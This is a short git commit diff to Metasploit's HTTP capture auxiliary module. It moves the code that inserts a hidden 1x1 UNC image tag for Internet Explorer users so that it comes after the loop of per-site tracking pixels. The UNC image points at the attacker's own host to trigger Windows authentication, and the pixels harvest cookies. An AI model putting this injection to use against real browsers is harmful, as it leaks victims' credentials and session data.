Place the UNC url last
git-svn-id: file:///home/svn/framework3/trunk@5487 4d416f70-5f16-0410-b530-b9f4589650daunstable
parent
2084024822
commit
70fde3052d
|
@ -254,10 +254,6 @@ class Auxiliary::Server::Capture::HTTP < Msf::Auxiliary
|
|||
|
||||
buff = ''
|
||||
|
||||
if(ua_name == "IE")
|
||||
buff << "<img src='\\\\#{mysrc}\\public#{Time.now.to_i.to_s}\\loading.jpg' width='1' height='1'>"
|
||||
end
|
||||
|
||||
list = File.readlines(@sitelist)
|
||||
list.each do |site|
|
||||
next if site =~ /^#/
|
||||
|
@ -266,6 +262,10 @@ class Auxiliary::Server::Capture::HTTP < Msf::Auxiliary
|
|||
buff << "<img src='http://#{site}/pixel.gif'>"
|
||||
end
|
||||
|
||||
if(ua_name == "IE")
|
||||
buff << "<img src='\\\\#{mysrc}\\public#{Time.now.to_i.to_s}\\loading.jpg' width='1' height='1'>"
|
||||
end
|
||||
|
||||
data = File.read(@template)
|
||||
data.gsub!(/%CONTENT%/, buff)
|
||||
|
||||
|
|
Loading…
Reference in New Issue